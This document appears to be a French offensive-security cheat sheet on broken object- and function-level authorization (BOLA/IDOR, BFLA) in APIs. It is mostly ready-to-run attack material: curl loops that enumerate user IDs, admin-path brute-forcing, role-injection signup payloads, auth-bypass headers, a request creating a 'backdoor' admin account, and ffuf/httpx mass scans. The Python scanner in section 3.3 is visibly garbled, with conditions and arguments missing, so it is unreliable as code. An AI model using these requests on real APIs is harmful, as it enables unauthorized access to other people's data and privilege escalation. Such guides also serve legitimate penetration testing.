| name | api-bola-bfla |
| description | Guide avancé des Broken Object Level Authorization (BOLA/IDOR) et Broken Function Level Authorization (BFLA) dans les API — hiérarchie d'objets, batch IDOR, mass assignment ACL, privilege escalation vertical/horizontal, et tools |
| category | cybersecurite |
BOLA & BFLA — Broken Authorization Deep Dive
Introduction
BOLA (API1-2023) : L'attaquant accède à des objets auxquels il n'a pas les droits en manipulant les identifiants. BFLA (API5-2023) : L'attaquant exécute des fonctions réservées aux administrateurs.
1. BOLA — Broken Object Level Authorization
1.1 IDOR Basique — Numeric ID
GET /api/v1/users/1 → profil public
GET /api/v1/users/2 → profil privé d'un autre utilisateur
GET /api/v1/users/3 → profil admin
# Range scan
for id in $(seq 1 1000); do
resp=$(curl -s -o /dev/null -w "%{http_code} %{size_download}" \
https://api.target.com/api/v1/users/$id \
-H "Authorization: Bearer <token>")
size=$(echo $resp | awk '{print $2}')
[ "$size" -gt 100 ] && echo "[$resp] /api/v1/users/$id"
done
1.2 UUID / GUID Manipulation
echo "550e8400-e29b-11d4-a716-446655440000" | python3 -c "
import sys, uuid
u = uuid.UUID(sys.stdin.read().strip())
print(f'Timestamp: {u.time}')
print(f'Node: {u.node:012x}')
"
GET /api/v1/orders/550e8400-e29b-11d4-a716-446655440000
GET /api/v1/orders/550e8400-e29b-11d4-a716-446655440001
GET /api/v1/orders/550e8400-e29b-11d4-a716-446655440002
/api/v1/users/550e8400e29b11d4a716446655440000
/api/v1/users/{550e8400-e29b-11d4-a716-446655440000}
/api/v1/users/urn:uuid:550e8400-e29b-11d4-a716-446655440000
1.3 IDOR via Objets Liés
GET /api/v1/users/me → {"id": 123, ...}
GET /api/v1/users/456/orders
GET /api/v1/users/456/invoices
GET /api/v1/users/456/payment-methods
GET /api/v1/users/456/documents
GET /api/v1/users/456/addresses
GET /api/v1/messages?userId=456
GET /api/v1/conversations?participant=456
GET /api/v1/uploads/789/documents/id_card.jpg
1.4 IDOR Hiérarchique
GET /api/v1/organizations/1 → son organisation
GET /api/v1/organizations/2 → organisation concurrente
GET /api/v1/organizations/3/teams → équipes d'autres organisations
GET /api/v1/organizations/3/users → users d'autres organisations
GET /api/v1/organizations/3/invoices
GET /api/v1/orders/1 → commande d'un autre utilisateur
GET /api/v1/orders/1/invoice → facture liée
GET /api/v1/orders/1/payments
GET /api/v1/orders/1/shipments
GET /api/v1/orders/1/items
# Transversal
GET /api/v1/invoices?organizationId=2
GET /api/v1/reports?companyId=5
1.5 Batch IDOR
POST /api/v1/users/batch
{"ids": [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]}
POST /api/v1/users/query
{"filter": {"id__in": ["1", "2", "3"]}}
POST /api/v1/orders/export
{"userIds": [1, 2, 3, 4, 5]}
GET /api/v1/users/*
GET /api/v1/users/%
GET /api/v1/users/_
GET /api/v1/users?limit=1000
1.6 Blind IDOR — Time-Based
for id in 1 2 3 4 5 100 500 1000; do
start=$(date +%s%N)
curl -s https://api.target.com/api/v1/users/$id \
-H "Authorization: Bearer <user_token>" > /dev/null
end=$(date +%s%N)
echo "User $id: $(((end-start)/1000000))ms"
done
for id in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" \
https://api.target.com/api/v1/users/$id
done
2. BFLA — Broken Function Level Authorization
2.1 Admin Function Discovery
for path in admin admin/users admin/orders admin/products \
admin/settings admin/config admin/roles \
admin/permissions admin/logs admin/audit \
admin/backup admin/export admin/import \
admin/migrate admin/deploy admin/commands; do
resp=$(curl -s -o /dev/null -w "%{http_code}" \
https://api.target.com/api/v1/$path \
-H "Authorization: Bearer <user_token>")
[ "$resp" != "404" ] && echo "[$resp] /api/v1/$path"
done
2.2 HTTP Method Abuse
GET /api/v1/admin/users/delete/5
GET /api/v1/admin/users?action=delete&id=5
PUT /api/v1/admin/users/5/role
{"role": "admin"}
PATCH /api/v1/admin/users/5
[{"op": "replace", "path": "/role", "value": "admin"}]
curl -X OPTIONS https://api.target.com/api/v1/admin/users \
-H "Authorization: Bearer <user_token>"
2.3 Parameter-Based Function Abuse
GET /api/v1/products?admin=true
GET /api/v1/products?isAdmin=1
GET /api/v1/products?role=admin
GET /api/v1/products?override=true
GET /api/v1/products?debug=1
GET /api/v1/products?dev=true
GET /api/v1/products?sudo=1
GET /api/v1/products?bypass=true
GET /api/v1/users
X-Admin: true
X-User-Role: admin
X-Bypass-Auth: true
X-Original-URL: /admin/users
2.4 Role Enumeration
POST /api/v1/auth/signup
{"username": "test", "password": "test", "role": "admin"}
POST /api/v1/auth/signup
{"username": "test", "password": "test", "role": "superadmin"}
POST /api/v1/auth/signup
{"username": "test", "password": "test", "role": "moderator"}
PATCH /api/v1/users/me
{"role": "admin"}
POST /api/v1/auth/signup
Role: admin
X-User-Role: admin
2.5 Vertical Privilege Escalation
curl -X POST https://api.target.com/api/v1/admin/users \
-H "Authorization: Bearer <user_token>" \
-d '{"username": "backdoor", "role": "admin"}'
GET /api/v1/admin/super/export/users
GET /api/v1/organizations/3/admin/settings
3. Tools & Automation
3.1 Autorize (Burp Extension)
3.2 AutoRepeater (Burp)
3.3 Custom ACL Scanner
"""Scanner BOLA/BFLA automatisé."""
import requests
import json
from concurrent.futures import ThreadPoolExecutor
BASE = "https://api.target.com"
USER_TOKEN = "Bearer <user_token>"
ADMIN_TOKEN = "Bearer <admin_token>"
ENDPOINTS = [
("GET", "/api/v1/users/1"),
("GET", "/api/v1/users/2"),
("GET", "/api/v1/admin/users"),
("GET", "/api/v1/admin/settings"),
("POST", "/api/v1/admin/users", {"username": "test"}),
("DELETE", "/api/v1/users/1"),
("GET", "/api/v1/orders/1"),
("GET", "/api/v1/invoices/1"),
]
def test_bola(endpoint):
method, path = endpoint[0], endpoint[1]
data = endpoint[2] if len(endpoint) > 2 else None
resp_user = requests.request(method, BASE + path,
headers={"Authorization": USER_TOKEN},
json=data)
resp_admin = requests.request(method, BASE + path,
headers={"Authorization": ADMIN_TOKEN},
json=data)
if resp_user.status_code [, ]:
()
()
resp_user.status_code == resp_admin.status_code == :
resp_user.text != resp_admin.text:
()
user_data = (resp_user.text)
admin_data = (resp_admin.text)
()
resp_noauth = requests.request(method, BASE + path, json=data)
resp_noauth.status_code [, , ]:
()
():
ThreadPoolExecutor(max_workers=) ex:
ex.(test_bola, ENDPOINTS)
__name__ == :
scan()
4. IDOR via API Patterns
4.1 Nested Object IDOR
GET /api/v1/users/123/orders/456
GET /api/v1/users/999/orders/789
GET /api/v1/orders/456?include=user.balance
GET /api/v1/orders/456?expand=user.billing.address
4.2 Response Parameter Pollution
GET /api/v1/users/2?fields=id,email,password,ssn,creditCard
GET /api/v1/users/2?include=private_info
GET /api/v1/users/2?expand=all
4.3 Mass IDOR Scanning
ffuf -u https://api.target.com/api/v1/users/FUZZ \
-w <(seq 1 100) \
-H "Authorization: Bearer <token>" \
-fc 404,403,401 \
-o idor_results.json
seq 1 100 | httpx -path "/api/v1/users/{}" \
-H "Authorization: Bearer <token>" \
-mc 200 -silent
5. IDOR via WebSocket / Server-Sent Events
wscat -c wss://api.target.com/ws
> {"subscribe": "user:456:updates"}
curl -N https://api.target.com/api/v1/events?userId=456
6. Cache-Based IDOR
Checklist
Ressources